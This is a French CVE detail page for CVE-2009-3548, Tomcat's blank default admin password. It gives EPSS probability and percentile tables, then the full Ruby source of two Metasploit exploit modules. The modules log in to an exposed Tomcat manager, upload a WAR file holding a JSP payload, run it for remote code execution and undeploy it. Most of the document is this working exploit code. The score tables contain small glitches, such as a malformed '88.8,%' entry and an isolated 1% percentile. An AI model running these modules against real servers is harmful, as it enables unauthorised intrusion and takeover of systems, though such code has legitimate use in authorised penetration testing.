CVE-2009-3548 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	33.04%	–	–
2022-04-10	–	–	33.04%	–	–
2022-07-17	–	–	12.57%	–	–
2022-07-24	–	–	33.04%	–	–
2023-03-12	–	–	–	17.08%	–
2023-11-12	–	–	–	17.08%	–
2024-06-02	–	–	–	17.08%	–
2024-06-23	–	–	–	20.67%	–
2024-08-04	–	–	–	23.12%	–
2024-12-22	–	–	–	24.09%	–
2025-01-19	–	–	–	24.09%	–
2025-03-18	–	–	–	–	89.9%
2025-04-06	–	–	–	–	88.8%
2025-04-06	–	–	–	–	88.8,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	97%
2022-04-10	98%
2022-07-17	95%
2022-07-24	98%
2023-03-12	95%
2023-11-12	96%
2024-06-02	96%
2024-06-23	96%
2024-08-04	97%
2024-12-22	97%
2025-01-19	97%
2025-03-18	1%
2025-04-06	99%
2025-04-06	99%

## # $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution', 'Description' => %q{ This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a PUT request. The manager application can also be abused using /manager/html/upload, but that method is not implemented in this module. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11330 $', 'References' => [ # There is no single vulnerability associated with deployment functionality. # Instead, the focus has been on insecure/blank/hardcoded default passwords. # The following references refer to HP Operations Manager [ 'CVE', '2009-3843' ], [ 'OSVDB', '60317' ], [ 'CVE', '2009-4189' ], [ 'OSVDB', '60670' ], # HP Operations Dashboard [ 'CVE', '2009-4188' ], # IBM Cognos Express Default user/pass [ 'BID', '38084' ], [ 'CVE', '2010-0557' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ], # IBM Rational Quality Manager and Test Lab Manager [ 'CVE', '2010-4094' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ], # 'admin' password is blank in default Windows installer [ 'CVE', '2009-3548' ], [ 'OSVDB', '60176' ], [ 'BID', '36954' ], # tomcat docs [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ] ], 'Platform' => [ 'java', 'win', 'linux' ], # others? 'Targets' => [ # # detect via /manager/serverinfo # [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 09 2009')) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager']) ], self.class) end def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo() return nil if not res plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? if (not arch or not plat) return nil end # see if we have a match targets.each { |t| if (t['Platform'] == plat) and (t['Arch'] == arch) return t end } # no matching target found return nil end def exploit datastore['BasicAuthUser'] = datastore['USERNAME'] datastore['BasicAuthPass'] = datastore['PASSWORD'] mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target if (not mytarget) raise RuntimeError, "Unable to automatically select a target" end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end # We must regenerate the payload in case our auto-magic changed something. p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) # Generate the WAR containing the EXE containing the payload jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) # Generate the WAR containing the payload war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s query_str = "?path=/" + app_base # # UPLOAD # path_tmp = datastore['PATH'] + "/deploy" + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'PUT', 'ctype' => 'application/octet-stream', 'data' => war, }, 20) if (! res) raise RuntimeError, "Upload failed on #{path_tmp} [No Response]" end if (res.code < 200 or res.code >= 300) case res.code when 401 print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]" end # # EXECUTE # jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Executing #{jsp_path}...") res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' }, 20) if (! res) print_error("Execution failed on #{app_base} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]") print_status(res.body) if datastore['VERBOSE'] end # # DELETE # path_tmp = datastore['PATH'] + "/undeploy" + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'GET' }, 20) if (! res) print_error("WARNING: Undeployment failed on #{path} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("Deletion failed on #{path} [#{res.code} #{res.message}]") end handler end def query_serverinfo() path = datastore['PATH'] + '/serverinfo' res = send_request_raw( { 'uri' => path }, 10) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end print_status(res.body) if datastore['VERBOSE'] return res end def detect_platform(body = nil) if not body res = query_serverinfo() return nil if not res body = res.body end body.each_line { |ln| ln.chomp! case ln when /OS Name: / os = ln.split(':')[1] case os when /Windows/ return 'win' when /Linux/ return 'linux' end end } end def detect_arch(body) body.each_line { |ln| ln.chomp! case ln when /OS Architecture: / ar = ln.split(':')[1].strip case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X86 end end } end end

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } CSRF_VAR = 'CSRF_NONCE=' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution', 'Description' => %q{ This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads. }, 'Author' => 'rangercha', 'License' => MSF_LICENSE, 'References' => [ # This is based on jduck's tomcat_mgr_deploy. # the tomcat_mgr_deploy o longer works for current versions of tomcat due to # CSRF protection tokens. Also PUT requests against the /manager/html/deploy # aren't allowed anymore. # There is no single vulnerability associated with deployment functionality. # Instead, the focus has been on insecure/blank/hardcoded default passwords. # The following references refer to HP Operations Manager ['CVE', '2009-3843'], ['OSVDB', '60317'], ['CVE', '2009-4189'], ['OSVDB', '60670'], # HP Operations Dashboard ['CVE', '2009-4188'], # IBM Cognos Express Default user/pass ['BID', '38084'], ['CVE', '2010-0557'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'], # IBM Rational Quality Manager and Test Lab Manager ['CVE', '2010-4094'], ['ZDI', '10-214'], # 'admin' password is blank in default Windows installer ['CVE', '2009-3548'], ['OSVDB', '60176'], ['BID', '36954'], # tomcat docs ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html'] ], 'Platform' => %w{ java linux win }, # others? 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 09 2009')) register_options( [ OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password for the specified username']), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) ], self.class) end def check res = query_manager disconnect return CheckCode::Unknown if res.nil? if res.code.between?(400, 499) vprint_error("#{peer} - Server rejected the credentials") return CheckCode::Unknown end return CheckCode::Safe unless res.code == 200 # if res.code == 200 # there should be access to the Tomcat Manager and to the status page res = query_status return CheckCode::Unknown unless res plat = detect_platform(res.body) arch = detect_arch(res.body) return CheckCode::Unknown unless plat and arch vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") report_auth_info( :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), :user => datastore['USERNAME'], :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) return CheckCode::Appears end def exploit @app_base = rand_text_alphanumeric(4 + rand(32 - 4)) @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) # # Find the session ID and the CSRF token # print_status("#{peer} - Retrieving session ID and CSRF token...") unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end # # Upload Payload # print_status("#{peer} - Uploading and deploying #{@app_base}...") if upload_payload report_auth_info( :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), :user => datastore['USERNAME'], :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) else fail_with(Failure::Unknown, "Upload failed") end # # Execute Payload # print_status("#{peer} - Executing #{@app_base}...") unless execute_payload fail_with(Failure::Unknown, "Failed to execute the payload") end # # Get the new CSRF token & session id # unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end # # Delete the deployed payload # print_status("#{peer} - Undeploying #{@app_base} ...") unless undeploy_app print_warning("#{peer} - Failed to undeploy #{@app_base}...") end end def query_status path = normalize_uri(target_uri.path.to_s, 'status') res = send_request_raw('uri' => path) unless res and res.code == 200 vprint_error("Failed: Error requesting #{path}") return nil end return res end def query_manager path = normalize_uri(target_uri.path.to_s, '/html') res = send_request_raw('uri' => path) return res end def vars_get vars = {} unless @csrf_token.nil? vars = { "path" => @app_base, "org.apache.catalina.filters.CSRF_NONCE" => @csrf_token } end return vars end def detect_platform(body) return nil if body.blank? i=0 body.each_line do |ln| ln.chomp! i = 1 if ln =~ /OS Name/ if i == 9 or i == 11 if ln.include? "Windows" return 'win' elsif ln.include? "Linux" return 'linux' elsif i==11 return 'unknown' end end i = i+1 if i > 0 end end def detect_arch(body) return nil if body.blank? i=0 body.each_line do |ln| ln.chomp! i = 1 if ln =~ /OS Architecture/ if i==9 or i==11 if ln.include? 'x86' return ARCH_X86 elsif ln.include? 'i386' return ARCH_X86 elsif ln.include? 'i686' return ARCH_X86 elsif ln.include? 'x86_64' return ARCH_X86 elsif ln.include? 'amd64' return ARCH_X86 elsif i==11 return 'unknown' end end i = i + 1 if i > 0 end end def find_csrf(res = nil) return "" if res.blank? vprint_status("#{peer} - Finding CSRF token...") body = res.body body.each_line do |ln| ln.chomp! csrf_nonce = ln.index(CSRF_VAR) next if csrf_nonce.nil? token = ln[csrf_nonce + CSRF_VAR.length, 32] return token end return "" end def generate_multipart_msg(boundary, data) # Rex::MIME::Message is breaking the binary upload when trying to # enforce CRLF for SMTP compatibility war_multipart = "-----------------------------" war_multipart << boundary war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\"" war_multipart << @app_base war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n" war_multipart << data war_multipart << "\r\n-----------------------------" war_multipart << boundary war_multipart << "--\r\n" end def war_payload payload.encoded_war({ :app_name => @app_base, :jsp_name => @jsp_name, :arch => target.arch, :platform => target.platform }).to_s end def send_war_payload(url, war) boundary_identifier = rand_text_numeric(28) res = send_request_cgi({ 'uri' => url, 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => @session_id, 'vars_get' => vars_get, 'data' => generate_multipart_msg(boundary_identifier, war), }) return res end def send_request_undeploy(url) res = send_request_cgi({ 'uri' => url, 'vars_get' => vars_get, 'method' => 'POST', 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'cookie' => @session_id }) return res end def access_manager? res = query_manager return false unless res and res.code == 200 @session_id = res.get_cookies @csrf_token = find_csrf(res) return true end def upload_payload war = war_payload upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...") res = send_war_payload(upload_path, war) return parse_upload_response(res) end def parse_upload_response(res) unless res vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]") return false end if res.code < 200 or res.code >= 300 vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]") return false end return true end def execute_payload jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") vprint_status("#{peer} - Executing #{jsp_path}...") res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' }) return parse_execute_response(res) end def parse_execute_response(res) unless res vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]") return false end if res and (res.code < 200 or res.code >= 300) vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]") return false end return true end def undeploy_app undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") res = send_request_undeploy(undeploy_url) unless res vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]") return false end if res and (res.code < 200 or res.code >= 300) vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]") return false end return true end end